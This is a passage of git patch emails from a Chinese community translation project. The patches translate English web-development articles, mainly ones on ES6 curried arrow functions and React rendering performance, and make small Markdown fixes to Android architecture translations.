-On the other hand, having it in-line clarifies type and usage expectations when you look at the parameter signature. Here’s what happens when we create it in-line:
+另一方面，如果将其写在一行中，当你看参数命名的时候，你就已经明了了其类型以及用例。我们将它写在一行，就如下面代码所示：
 
 ```
 const composeMixins = (...mixins) => (
@@ -263,43 +263,39 @@ const composeMixins = (...mixins) => (
 ) => mix(...mixins)(instance);
 ```
 
-Now we’re back to the original function. Along the way, **we didn’t discard any meaning.** In fact, by declaring our parameters and default values inline, we **added information** about how the function is used, and what the values of the parameters might look like.
-
-All that extra code in the ES5 version was just noise. Syntax noise. It didn’t serve **any useful purpose** except to acclimate people who are **unfamiliar** with curried arrow functions.
-
-Once you have gained sufficient familiarity with curried arrow functions, it should be clear that the original version is **more readable** because there’s a lot less syntax to get lost in.
+现在让我们回头看看最初的函数。无论我们后面做了什么调整，**我们都没有丢弃任何本来就有的信息**。并且，通过制定变量、在行内给定默认值，我们还给这个函数**增加了信息量**，描述了这个函数是怎么使用的以及参数值是什么样子的。
 
-It’s also **less error-prone**, because there’s a lot less surface area for bugs to hide in.
+ES5 版本中增加的额外的代码其实都是语法干扰。这些代码对于**熟悉**柯里化箭头函数的人来说**没有任何有用之处**。
 
-I suspect there are lots of bugs hiding in legacy functions that would be found and eliminated if you were to upgrade to arrow functions.
+只要你熟悉柯里化箭头函数，你就会觉得最开头的代码更加清晰并具有**可读性**，因为它没有多余的语法糊弄人。
 
-I also supect that your team would become significantly more productive if you learned to embrace and favor more of the concise syntax available in ES6.
+柯里化箭头函数还能**减少错误的藏身之处**，因为它能让 bug 隐藏的部分更少。我猜想，在传统函数表达式中一定隐藏了许多的 bug，一旦你升级使用箭头函数就能找到并排除这些 bug。
 
-While it’s true that sometimes things are easier to understand if they’re made explicit, it’s also true that as a general rule, less code is better.
+我希望你的团队也能支持、学习与应用 ES6 的更加简介的代码风格，提高工作效率。
 
-If less code can accomplish the same thing and communicate more, without sacrificing any meaning, it’s **objectively** better.
+有时，在代码中详细地进行描述是正确的行为，但通常来说，代码越少越好。如果更少的代码能够实现同样的东西，能够传达更多的信息，不用丢弃任何信息量，那么它**明显**更加优越。认知这些不同点的关键就是看它们表达的信息。如果加上的代码没有更多的意义，那么这种代码就不应该存在。这个道理很简单，就和自然语言的风格规范一样（不说废话）。将这种表达风格规范应用到代码中。拥抱它，你将能写出更好的代码。
 
-The key to knowing the difference is meaning. If more code fails to add more meaning, that code should not exist. That concept is so basic, it is a well-known style guideline for natural language.
-
-The same style guideline applies to source code. Embrace it, and your code will be better.
-
-At the end of the day, a light in the darkness. In response to yet another tweet saying the ES6 version less readable:
+一天过去，天色已黑，仍然有其它推特的回复在说 ES6 版本的代码更加缺乏可读性：
 
 [![Markdown](http://i2.muimg.com/1949/4287b75aa0b58a9d.png)](https://twitter.com/blakenewman)
 
-Time to get familiar with ES6, currying, and function composition.
+我只想说：是时候熟练去掌握 ES6、柯里化与组合函数了。
 
-### Next Steps ###
+### 下一步 ###
 
-[“Learn JavaScript with Eric Elliott”](https://ericelliottjs.com/product/lifetime-access-pass/) members can watch the 55-minute [ES6 Curry & Composition](https://ericelliottjs.com/premium-content/es6-curry-composition/)  lesson right now.
+[“与 Eric Elliott 一起学习 JavaScript”](https://ericelliottjs.com/product/lifetime-access-pass/)会员现在可以看这个大约 55 分钟的视频课程——[ES6 柯里化与组合](https://ericelliottjs.com/premium-content/es6-curry-composition/)。
 
-If you’re not a member, you’re missing out!
+如果你还不是我们的会员，你可会遗憾地错过这个机会哦！
 
 [![](https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg)](https://ericelliottjs.com/product/lifetime-access-pass/) 
 
-***Eric Elliott*** *is the author of [*“Programming JavaScript Applications”*](http://pjabook.com) (O’Reilly), and [*“Learn JavaScript with Eric Elliott”*](http://ericelliottjs.com/product/lifetime-access-pass/). He has contributed to software experiences for Adobe Systems, Zumba Fitness, The Wall Street Journal, ESPN, BBC, and top recording artists including Usher, Frank Ocean, Metallica, and many more.*
+### 作者简介
+
+***Eric Elliott*** 是 O'Reilly 出版的[*《Programming JavaScript Applications》*](http://pjabook.com)书籍、[“与 Eric Elliott 学习 JavaScript”](http://ericelliottjs.com/product/lifetime-access-pass/)课程作者。他曾经帮助 Adobe、莱美、华尔街日报、ESPN、BBC 进行软件开发，以及帮助 Usher、Frank Ocean、Metallica 等著名音乐家做网站。
+
+最后~~喂狗粮~~：
 
-*He spends most of his time in the San Francisco Bay Area with the most beautiful woman in the world.*
+**他与世界上最美丽的女人在旧金山湾区共度一生。**
 
 ---
 

From 98556d225102c68de020cf14c6772667acb6017c Mon Sep 17 00:00:00 2001
From: mnikn <329121948@qq.com>
Date: Wed, 10 May 2017 19:11:56 +0800
Subject: [PATCH 407/638] modify v3

---
 TODO/test-driving-away-coupling-in-activities.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/test-driving-away-coupling-in-activities.md b/TODO/test-driving-away-coupling-in-activities.md
index c2f5c5befcd..209b2075e47 100644
--- a/TODO/test-driving-away-coupling-in-activities.md
+++ b/TODO/test-driving-away-coupling-in-activities.md
@@ -11,7 +11,7 @@
 本系列博文是关于 android-centric 架构的可测试性和其它问题之间的联系的，而这些问题正导致 Android 开发者们排斥这种架构。这些博文也涉及单元测试怎样试图告诉我们：`Activity` 和 `Fragment` 不是应用的最佳构件，因为它们迫使我们写出**高耦合**和**低内聚**的代码。
 
 
-[上次](https://www.philosophicalhacker.com/post/what-unit-tests-are-trying-to-tell-us-about-activities-pt-2/),我们发现`Activity` 和 `Fragment`有低内聚的倾向。这次，通过测试我们将会发现 `Activity` 是高耦合的。我们还会发现如何通过测试来驱使实现一个耦合度更低的设计，这样我们就能轻易地改变应用和有更多的机会来减去重复代码。像本系列博文中的其他文章一样，我们依然以 Google I/O 应用为例子进行探讨。
+[上次](https://www.philosophicalhacker.com/post/what-unit-tests-are-trying-to-tell-us-about-activities-pt-2/)，我们发现`Activity` 和 `Fragment`有低内聚的倾向。这次，通过测试我们将会发现 `Activity` 是高耦合的。我们还会发现如何通过测试来驱使实现一个耦合度更低的设计，这样我们就能轻易地改变应用和有更多的机会来减去重复代码。像本系列博文中的其他文章一样，我们依然以 Google I/O 应用为例子进行探讨。
 
 ### 目标代码
 

From b42c10060ac3c1b6a0f022b077f831802198caa6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 10 May 2017 20:05:40 +0800
Subject: [PATCH 408/638] =?UTF-8?q?=E8=B0=83=E6=95=B4=20Markdown=20?=
 =?UTF-8?q?=E6=A0=87=E8=AE=B0=E8=AF=AD=E6=B3=95?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/approaching-android-with-mvvm.md | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/TODO/approaching-android-with-mvvm.md b/TODO/approaching-android-with-mvvm.md
index bfdf37184df..686e6cf9bc0 100644
--- a/TODO/approaching-android-with-mvvm.md
+++ b/TODO/approaching-android-with-mvvm.md
@@ -1,9 +1,8 @@
 > * 原文链接 : [Approaching Android with MVVM — ribot labs — Medium](https://medium.com/ribot-labs/approaching-android-with-mvvm-8ceec02d5442#.8c8bnpmwi)
-* 原文作者 : [Joe Birch](https://twitter.com/hitherejoe)
-* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)
-* 译者 : [Sausure](https://github.com/Sausure)
-* 校对者: [EthanWu (ethan-wu)](https://github.com/EthanWu)、[dodocat (Quanqi)](https://github.com/dodocat)、[foolishgao](https://github.com/foolishgao)
-* 状态 :  完成
+> * 原文作者 : [Joe Birch](https://twitter.com/hitherejoe)
+> * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者 : [Sausure](https://github.com/Sausure)
+> * 校对者: [EthanWu (ethan-wu)](https://github.com/EthanWu)、[dodocat (Quanqi)](https://github.com/dodocat)、[foolishgao](https://github.com/foolishgao)
 
 # MVVM 模式介绍
 

From c765e31096dcb57323b20046e5eb48d3cc1a8de4 Mon Sep 17 00:00:00 2001
From: ZhangFe <zhangzhe0214@gmail.com>
Date: Wed, 10 May 2017 20:51:25 +0800
Subject: [PATCH 409/638] =?UTF-8?q?=E5=AE=8C=E6=88=90=E7=BF=BB=E8=AF=91?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/react-at-light-speed.md | 172 +++++++++++++++++------------------
 1 file changed, 82 insertions(+), 90 deletions(-)

diff --git a/TODO/react-at-light-speed.md b/TODO/react-at-light-speed.md
index e68e11971f9..d0913dfd9eb 100644
--- a/TODO/react-at-light-speed.md
+++ b/TODO/react-at-light-speed.md
@@ -6,39 +6,38 @@
 
 # React at Light Speed #
 
-## Lessons in optimizing performance at Vixlet ##
+## Vixlet优化性能的经验教训 ##
 
 ![](https://cdn-images-1.medium.com/max/1000/1*SJzLm3SW2IegLw0GzlaG-w.jpeg)
 
-Over the past year or so, the web team here at [Vixlet](http://www.vixlet.com) has embarked on an exciting journey of moving our entire web application to a React + Redux architecture. It has been a growing opportunity for our entire team and throughout this process, we have some challenges along the way.
+过去一年左右，我们 [Vixlet](http://www.vixlet.com) 的 web 团队已经开始了一个令人兴奋的旅程：将我们的整个 web 应用迁移到 React + Redux 架构，对于整个团队来说，这是一个越来越大的机会，并且在整个过程中，我们遇到了一些挑战。
 
-Since our web-app can have very large feed views consisting of hundreds if not thousands of media/text/video/link items, we spent considerable time looking for ways to get the most out of React’s performance. Here we will share some of the lessons we have learned along the way.
+因为我们的 web-app 可能有非常大的 feed 视图，包括成百上千的媒体、文本、视频、链接元素，我们花了相当多的时间寻找能充分利用 React 的性能的方法。在这里，我们将分享我们这一路学到的一些经验教训。
 
-**Disclaimer**: *The practices and methods described below have been found applicable to the performance needs of our specific application. However, as with all development advice, it’s important to take the needs of your application and team into account. React is pretty fast out of the box, so you may not need as finely-tuned performance as our use case. Nevertheless, we hope you find this post informative.*
+**声明**：**下面讲的做法和方法更适用于我们具体应用的性能需求。然而，像所有的开发者建议的那样，最重要的是要考虑到你的应用程序和团队的需求。React 是一个开箱即用的框架，所以你可能不需要像我们这样对性能做微调。话虽如此，我们还是希望你能在这篇文章里找到一些有用的信息。**
 
-### Fundamentals ###
+### 基本原理 ###
 
 ![](https://cdn-images-1.medium.com/max/800/1*UOGdUM1V_rGUbxLS-eaWdQ.gif)
 
-Taking a first step into a larger world.
+向更大的世界迈出第一步。
 
-#### The render() function ####
+#### render() 函数 ####
 
-As a general principle, do as little work as possible in the render function. If it is necessary to perform complex operations or calculations, perhaps consider moving them to a [memoized](https://en.wikipedia.org/wiki/Memoization) function so that duplicate results can be cached. See [Lodash.memoize](https://lodash.com/docs#memoize) for an out-of-the-box memoization function.
+一般来说，要尽可能少的在 render 函数中做操作。如果非要做一些复杂操作或者计算，也许你可以考虑使用一个 [memoized](https://en.wikipedia.org/wiki/Memoization) 函数以便于缓存那些重复的结果。可以看看 [Lodash.memoize](https://lodash.com/docs#memoize)，这是一个开箱即用的记忆函数。
 
-Conversely, it is also important to avoid storing easily computable values in a component’s state. For example, if the props contain both a `firstName` and `lastName`, there is no need to include `fullName` in state, since it’s easy to derive from the provided props. If a value can be derived from props in a performant way, by using simple string concatenation, or basic arithmetic operations, there’s no reason for the derived value to be included in a component’s state.
+反过来讲，避免在组件的 state 上存储一些容易计算的值也很重要。举个例子，如果 props 同时包含 `firstName` 和 `lastName`，没必要在 state 上存一个 `fullName`，因为它可以很容易通过提供的 props 来获取。如果一个值可以通过简单的字符串拼接或基本的算数运算从 props 派生出来，那么没理由将这些值包含在组件的 state 上。
 
-#### Prop Values and Reconciliation ####
+#### Prop 和 Reconciliation ####
 
-It is important to remember that React will trigger a re-render anytime a prop (or state) value is not equal to the previous value. This includes any changes within nested values if props or state includes an object or array. With this in mind, it is important to be mindful of situations where it’s possible to inadvertently cause a performance hit by creating new values for props or state each render cycle.
+重要的是要记住，只要 props（或 state）的值不等于之前的值，React 就会触发重新渲染。如果 props 或者 state 包含一个对象或者数组，嵌套值中的任何改变也会触发重新渲染。考虑到这一点，你需要考虑在每次渲染的生命周期中，创建一个新的 props 或者 state 都可能无意中导致了性能下降。
+PS:译者对这段保留意见，对象或者数组只要引用不变，是不会触发rerender的，是我翻译有误还是原文的错误？
 
-**Example:** *Issues with function binding*
+**例子:** **函数绑定的问题**
 
 ```
 /*
-Passing an inline bound function (including ES6 arrow functions)
-directly into a prop value is essentially passing a new 
-function for each render of the parent component.
+给 prop 传入一个行内绑定的函数（包括 ES6 箭头函数）实质上是在每次父组件 render 时传入一个新的函数。
 */
 render() {
   return (
@@ -51,8 +50,7 @@ render() {
 
 
 /*
-Instead handle function binding in the constructor and pass the
-already bound function as the prop value
+应该在构造函数中处理函数绑定并且将已经绑定好的函数作为 prop 的值
 */
 
 constructor( props ) {
@@ -69,25 +67,21 @@ render() {
 }
 ```
 
-**Example:** *Object or Array literals*
+**例子:** **对象或数组字面量**
 
 ```
 /*
-Object literals or Array literals are functionally equivalent to calling
-Object.create() or new Array(). This means that if object literals or
-array literals are passed as prop values, React will consider these to be new
-values for each render.
-This is problematic mostly when dealing with Radium or inline styles.
+对象或者数组字面量在功能上来看是调用了 Object.create() 和 new Array()。这意味如果给 prop 传递了对象字面量或者数组字面量。每次render 时 React 会将他们作为一个新的值。这在处理 Radium 或者行内样式时是有问题的。
 */
 
 /* Bad */
-// New object literal for style each render
+// 每次渲染时都会为 style 新建一个对象字面量
 render() {
   return <div style={ { backgroundColor: 'red' } }/>
 }
 
 /* Good */
-// Declare outside of component
+// 在组件外声明
 const style = { backgroundColor: 'red' };
 
 render() {
@@ -95,19 +89,16 @@ render() {
 }
 ```
 
-**Example** *: Be careful of literals in fallback values*
+**例子** *: 注意兜底值字面量Be careful of literals in fallback values*
 
 ```
 /*
-Sometimes a fallback value or object may be created in the render function
-( or prop value ) to avoid undefined value errors. In these cases, it's best
-to define the fallbacks as a constant external to the component instead of
-creating a new literal.
+有时我们会在 render 函数中创建一个兜底的值来避免 undefined 报错。在这些情况下，最好在组件外创建一个兜底的常量而不是创建一个新的字面量。
 /*
 /* Bad */
 render() {
   let thingys = [];
-  // If this.props.thingys is not defined a new array literal is created above.
+  // 如果 this.props.thingys 没有被定义，一个新的数组字面量会被创建
   if( this.props.thingys ) {
     thingys = this.props.thingys;
   }
@@ -117,13 +108,13 @@ render() {
 
 /* Bad */
 render() {
-  // This has functionally the same outcome as the above example.
+  // 这在功能上和前一个例子一样
   return <ThingyHandler thingys={ this.props.thingys || [] }/>
 }
 
 /* Good */
 
-// Declare outside of component
+// 在组件外部声明
 const NO_THINGYS = [];
 
 render() {
@@ -131,76 +122,76 @@ render() {
 }
 ```
 
-#### Keeping Props (and State) as simple and minimal as possible ####
+#### 尽可能的保持 Props（和 State）简单和精简 ####
 
-Ideally, the only props passed to a component should be those directly needed by that component. Passing a large, complex object, or many individual props to a component only for the purpose of passing values to children will cause many unnecessary component renders (as well as add development complexity).
+理想情况下，传递给组件的 props 应该是它直接需要的。为了将值传给子组件而将一个大的，复杂的对象或者很多独立的 props 传递给一个组件会导致很多不必要的组件渲染（并且会增加开发复杂性）。
 
-Here at Vixlet, we use Redux as a state container, so in our case, it is most ideal to use the [connect()](https://github.com/reactjs/react-redux/blob/master/docs/api.md#connectmapstatetoprops-mapdispatchtoprops-mergeprops-options) function from the [react-redux](https://www.npmjs.com/package/react-redux) library at each level in the component hierarchy to only fetch the direct data needed from the store. The connect() function is highly performant and overhead of using it is very minimal.
+在 Vixlet，我们使用 Redux 作为状态容器，所以在我们看来，最理想的是方案在组件层次结构的每一个层级中使用 [react-redux](https://www.npmjs.com/package/react-redux) 的 [connect()](https://github.com/reactjs/react-redux/blob/master/docs/api.md#connectmapstatetoprops-mapdispatchtoprops-mergeprops-options) 函数直接从 store 上获取数据。connect 函数的性能很好，并且使用它的开销也非常小。
 
-#### Component Methods ####
+#### 组件方法 ####
 
-Since component methods are created for each instance of a component, if possible, use either pure functions from a helper/util module or [static class methods](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes). This makes a noticeable difference especially in cases where there are a large number of a component being rendered in the app.
+由于组件方法是为组件的每个实例创建的，如果可能的话，使用 helper/util 模块的纯函数或者 [静态类方法](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes)。在一个渲染大量组件的应用中会有明显的区别。
 
-### Advanced ###
+### 进阶 ###
 
 ![](https://cdn-images-1.medium.com/max/800/1*9n2fdJB1gPYLFJAj5D5RqA.gif)
 
-From my point of view jank is evil!
+在我看来视图的变化是邪恶的！
 
 #### shouldComponentUpdate() ####
 
-React includes a lifecycle method [shouldComponentUpdate()](https://facebook.github.io/react/docs/react-component.html#shouldcomponentupdate). This method can be used to tell React whether a component should be re-rendered or not depending on the values of the current and next props/state.
+React 有一个一个生命周期函数 [shouldComponentUpdate()](https://facebook.github.io/react/docs/react-component.html#shouldcomponentupdate)。这个方法可以根据当前的和下一次的 props 和 state 来通知这个 React 组件是否应该被重新渲染。
 
-One problem with using this method however, is that the developer must be conscious of accounting for every condition in which a re-render must happen. This can get logically complex and in general, be a pain in the ass. You can use a custom `shouldComponentUpdate()` method if absolutely needed, but for many cases there is a better option...
+然而使用这个方法有一个问题，开发者必须考虑到需要触发重新渲染的每一种情况。这会导致逻辑复杂，一般来说，会非常痛苦。如果非常需要，你可以使用一个自定义的  `shouldComponentUpdate()` 方法，但是很多情况下有更好的选择。
 
 #### React.PureComponent ####
 
-Starting in React v15, the library includes a PureComponent class which can be used to build components. `React.PureComponent` basically implements it's own `shouldComponentUpdate()`method that performs a shallow compare between current and next props/state automatically. For more info on shallow comparison see this Stack Overflow:
+React 从 v15 开始会包含一个 PureComponent 类，它可以被用来构建组件。`React.PureComponent` 声明了它自己的 `shouldComponentUpdate()` 方法，它自动对当前的和下一次的 props 和 state 做一次浅对比。有关浅对比的更多信息，请参考这个 Stack Overflow：
 
 [http://stackoverflow.com/questions/36084515/how-does-shallow-compare-work-in-react](http://stackoverflow.com/questions/36084515/how-does-shallow-compare-work-in-react)
 
-In almost all cases, `React.PureComponent` is a better choice than `React.Component`. When creating new components, try building it as a pure component first and only if the component's functionality requires, use `React.Component`.
+在大多数情况下，`React.PureComponent` 是比 `React.Component` 更好的选择。在创建新组件时，首先尝试将其构建为纯组件，只有组件的功能需要时才使用 `React.Component`。
 
-More Info: [React.PureComponent](https://facebook.github.io/react/docs/react-api.html#react.purecomponent) in the official React Docs
+更多信息: [React.PureComponent](https://facebook.github.io/react/docs/react-api.html#react.purecomponent) 官方文档。
 
-#### Component Performance Profiling (in Chrome) ####
+#### 组件性能分析 (在 Chrome 里) ####
 
-In the latest versions of Chrome, there is additional functionality built into the timeline tool that can display detailed information as to which React components are rendering and how long they take. To enable this functionality add `?react_perf` as a query string to the url that you want to test. The React rendering timeline data will be under the User Timing section.
+在新版本的 Chrome 里，timeline 工具里有一个额外的内置功能可以显示哪些 React 组件正在渲染以及他们花费的时间。要启用此功能，将 `？react_perf` 作为要测试的 URL 的查询字符串。React 渲染时间轴数据将位于 User Timing 部分。
 
-More Info: [Profiling Components with Chrome Timeline](https://facebook.github.io/react/docs/optimizing-performance.html#profiling-components-with-chrome-timeline) in the official React docs
+更多信息: [Profiling Components with Chrome Timeline](https://facebook.github.io/react/docs/optimizing-performance.html#profiling-components-with-chrome-timeline) 官方文档。
 
-#### Useful Utility: [why-did-you-update](https://www.npmjs.com/package/why-did-you-update) ####
+#### 有用的工具: [why-did-you-update](https://www.npmjs.com/package/why-did-you-update) ####
 
-This is a nifty NPM package that can monkey patch React to add console notifications when a component re-renders unnecessarily.
+这是一个很棒的 NPM 包，他们给 React 添加补丁，当一个组件触发了不必要的重新渲染时，
 
-**Note**: This module can be initialized with a filter to match the specific component you wish to profile, otherwise your console will be spammed beyond all recognition (SPUBAR?) and possibly your browser will hang/crash. See the [why-did-you-update docs](https://www.npmjs.com/package/why-did-you-update) for more usage details.
+**注意**: 这个模块在初始化时可以可以通过一个过滤器匹配特定的想要优化的组件，否则你的命令行可能会被垃圾信息填满，并且可能你的浏览器会挂起或者崩溃，通过 [why-did-you-update 文档](https://www.npmjs.com/package/why-did-you-update)获取更多详细信息。
 
-### Common Performance Traps
+### 常见性能陷阱
 
 ![](https://cdn-images-1.medium.com/max/800/1*GVteDSQnhXZCSui8JRp10A.gif)
 
-#### setTimeout() and setInterval() ####
+#### setTimeout() 和 setInterval() ####
 
-Use `setTimeout()` or `setInterval()` extremely carefully within a React component. There are almost always better alternatives such as 'resize' and 'scroll' events (note: see next section for caveats).
+在 React 组件中使用 `setTimeout()` 或者  `setInterval()` 要十分小心。几乎总是有更好的选择，例如 'resize' 和 'scroll' 事件（注意：有关注意事项请参阅下一节）。
 
-If you do need to use `setTimeout()` or `setInterval()`, you must **obey the following two commandments**
+如果你需要使用 `setTimeout()` 和 `setInterval()`，你必须 **遵守下面两条建议**
 
-> Thou shalt not set extremely short time durations.
+> 不要设置过短的时间。
 
-Setting a short duration is most likely unneeded. Be cautions of anything less than 100ms. If shorter durations are really needed, perhaps use [window.requestAnimationFrame()](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame) instead.
+当心那些小于 100ms 的定时器，他们很可能是没意义的。如果确实需要一个更短的时间，可以使用 [window.requestAnimationFrame()](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame)。
 
-> Thou shalt keep a reference to these functions and cancel/clear them on unmount
+> 保留对这些函数的引用，并且在 unmount 时取消或者销毁他们。
 
-Both `setTimeout()` and `setInterval()` return an identifier for the delayed function that can be used to cancel the operation if needed. Since these functions are run at the global scope, they don't care if your component isn't there anymore, and this can lead to errors and/or death.
+`setTimeout()` 和 `setInterval()` 都返回一个延迟函数的引用，并且需要的时候可以取消它们。由于这些函数是在全局作用域执行的，他们不在乎你的组件是否存在，这会导致报错甚至程序卡死。
 
-**Note**: this is also true of `window.requestAnimationFrame()`
+**注意**: 对 `window.requestAnimationFrame()` 来说也是如此
 
-The easiest solution to this problem is to use the [react-timeout](https://www.npmjs.com/package/react-timeout) NPM package which provides a higher-order component that can be used that will handle the stuff mentioned above automatically. It adds setTimeout/setInterval, etc functions to the wrapped component’s props. (*Special thanks to Vixlet developer* [*Carl Pillot*](https://twitter.com/@carlpillot) *for pointing this one out*)
+解决这个问题最简答的方法是使用 [react-timeout](https://www.npmjs.com/package/react-timeout) 这个 NPM 包，它提供了一个可以自动处理上述内容的高阶组件。它将 setTimeout/setInterval 等功能添加到包装组建的 props 上。(**特别感谢 Vixlet 的开发人员 [*Carl Pillot*](https://twitter.com/@carlpillot) 提供这个方法**)
 
-If you do not wish to import a dependency and would like to roll your own solution to this problem, something like the following would work well:
+如果你不想引入这个依赖，并且希望用自己的解决方法解决此问题，你可以使用以下的方法：
 
 ```
-// How to propery cancel timeouts/intervals
+// 如何正确取消 timeouts/intervals
 
 compnentDidMount() {
  this._timeoutId = setTimeout( this.doFutureStuff, 1000 );
@@ -208,18 +199,18 @@ compnentDidMount() {
 }
 componentWillUnmount() {
  /*
-    ProTip: If the operation already completed, or the value is undefinded
-    these functions don't give a damn
+   高级提示：如果操作已经完成，或者值未被定义，这些函数也不会报错
  */
  clearTimeout( this._timeoutId );
  clearInterval( this._intervalId );
 }
 ```
 
-If you are using requestAnimationFrame() to run an animation loop, you could use a very similar solution with slight modification:
+
+如果你使用 requestAnimationFrame() 执行的一个动画循环，可以使用一个非常相似的解决方案，当前代码要有一点小的修改：
 
 ```
-// How to ensure that our animation loop ends on component unount
+// 如何确保我们的动画循环在组件消除时结束
 
 componentDidMount() {
   this.startLoop();
@@ -236,29 +227,29 @@ startLoop() {
 }
 
 loop() {
-  // perform loop work here
+  // 在这里执行循环工作
   this.theoreticalComponentAnimationFunction()
   
-  // Set up next iteration of the loop
+  // 设置循环的下一次迭代
   this.frameId = window.requestAnimationFrame( this.loop )
 }
 
 stopLoop() {
   window.cancelAnimationFrame( this._frameId );
-  // Note: no need to worry if the loop has already been cancelled
-  // cancelAnimationFrame() won't throw an error
+  // 注意: 不用担心循环已经被取消
+  // cancelAnimationFrame() 不会抛出异常
 }
 ```
 
-#### Non-debounced Rapid-firing Events ####
+#### 未去抖频繁触发的事件 ####
 
-Certain common events can fire extremely rapidly, e.g. ‘scroll’, ‘resize’. It is wise to debounce these events, especially if the event handler is performing anything more than extremely basic functionality.
+某些常见的事件可能会非常频繁的触发，例如 `scroll`，`resize`。去抖这些事件是明智的，特别是如果事件处理程序执行的不仅仅是基本功能。
 
-Lodash has the [_.debounce](https://lodash.com/docs/#debounce) method. There is also a standalone [debounce](https://www.npmjs.com/package/debounce) package on NPM.
+Lodash 有 [_.debounce](https://lodash.com/docs/#debounce) 方法。在 NPM 上还有一个独立的 [debounce](https://www.npmjs.com/package/debounce) 包.
 
-> “But I really need immediate response from the scroll/resize/whatever event”
+> ”但是我真的需要立即反馈 scroll/resize 或者别的事件”
 
-One pattern I have found that can be used to handle these kind of events and respond in a high performance manner, is to start a `requestAnimationFrame()` watch loop the first time an event is fired. Then, the `[debounce()](https://lodash.com/docs#debounce)` function can be used with the `trailing` option set to `true` (*this means the function only fires after the stream of rapidly firing events has ended*) to stop watching the value. See an example below
+我发现一种可以处理这些事件并且以高性能的方式进行响应的方法，那就是在第一次事件触发时启动 `requestAnimationFrame()` 循环。然后可以使用 `[debounce()](https://lodash.com/docs#debounce)` 方法并且将 `trailing` 这个配置项设为 `true`  (**这意味着该功能只在频繁触发的事件流结束后触发**) 来取消对值的监听，看看下面这个例子。
 
 ```
 class ScrollMonitor extends React.Component {
@@ -279,23 +270,23 @@ class ScrollMonitor extends React.Component {
     window.removeEventListener( 'scroll', this.handleScrollStart );
     window.removeEventListener( 'scroll', this.handleScrollEnd );
     
-    //Make sure the loop doesn't run anymore if component is unmounted
+    //确保组件销毁后循环不会继续执行
     this.stopWatching();
   }
 
-  // If the watchloop isn't running start it
+  // 如果循环未开始，启动它
   startWatching() {
     if( !this._watchFrame ) {
       this.watchLoop();
     }
   }
 
-  // Cancel the next iteration of the watch loop
+  // 取消下一次迭代
   stopWatching() {
     window.cancelAnimationFrame( this._watchFrame );
   }
 
-  // Keep running on each animation frame untill stopped.
+  // 保持动画的执行直到结束
   watchLoop() {
     this.doThingYouWantToWatchForExampleScrollPositionOrWhatever()
 
@@ -305,25 +296,26 @@ class ScrollMonitor extends React.Component {
 }
 ```
 
-#### Intensive CPU task Thread blocking ####
-
-Certain tasks will always be CPU intensive and thus can cause issues blocking the main rendering thread. Some examples include very complex math calculations, iterating through very large arrays, reading/writing using the `File` api. Encoding or decoding image data from a `<canvas>` object.
+#### 密集CPU任务线程阻塞 ####
 
-If at all possible in these scenarios, it would be best to use a Web Worker to move that functionality onto another thread, so that our main rendering thread can remain buttery smooth.
+某些任务一直是 CPU 密集型的，因此可能会导致主渲染线程的阻塞。举几个例子，比如非常复杂的数学计算，迭代非常大的数组，使用 `File` api 进行文件读写，利用 `<canvas>` 对图片进行编码解码。
 
-**Read These**
+在这些情况下，如果有可能最好使用 Web Worker 将这些功能移到另一个线程上，这样我们的主渲染线程可以保持顺滑。
 
-MDN Article: [Using Web Workers](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers)
+**相关阅读**
 
-MDN Docs: [Worker API](https://developer.mozilla.org/en-US/docs/Web/API/Worker)
+MDN 文章: [Using Web Workers](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers)
 
-### Closing Words ###
+MDN 文档: [Worker API](https://developer.mozilla.org/en-US/docs/Web/API/Worker)
 
-We hope that you have found the above suggestions useful and informative. The above compilation of tips and tricks could not be possible without the great work and research by the web team here at Vixlet. They truly are one of the most awesome groups of people that I’ve ever had the chance to work with.
+### 结语 ###
 
-In your personal quest to get the most out of React, continue to learn and practice, and may the Force be with you!
+我们希望您觉得上述建议是有用且有效的。如果没有 Vixlet 团队的伟大工作和研究，上述的提示和编程技巧是不可能产出的。他们真的是我曾经合作过的最棒的人之一。
 
+在你的 React 的征途中保持学习和练习，力量与你同在！
 
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。
+
+

From 6f500c2cb44c5d583d72a199a8274bab93a295c4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 10 May 2017 20:59:23 +0800
Subject: [PATCH 410/638] Create quantum-up-close-what-is-a-browser-engine.md

---
 ...antum-up-close-what-is-a-browser-engine.md | 129 ++++++++++++++++++
 1 file changed, 129 insertions(+)
 create mode 100644 TODO/quantum-up-close-what-is-a-browser-engine.md

diff --git a/TODO/quantum-up-close-what-is-a-browser-engine.md b/TODO/quantum-up-close-what-is-a-browser-engine.md
new file mode 100644
index 00000000000..501d47a4312
--- /dev/null
+++ b/TODO/quantum-up-close-what-is-a-browser-engine.md
@@ -0,0 +1,129 @@
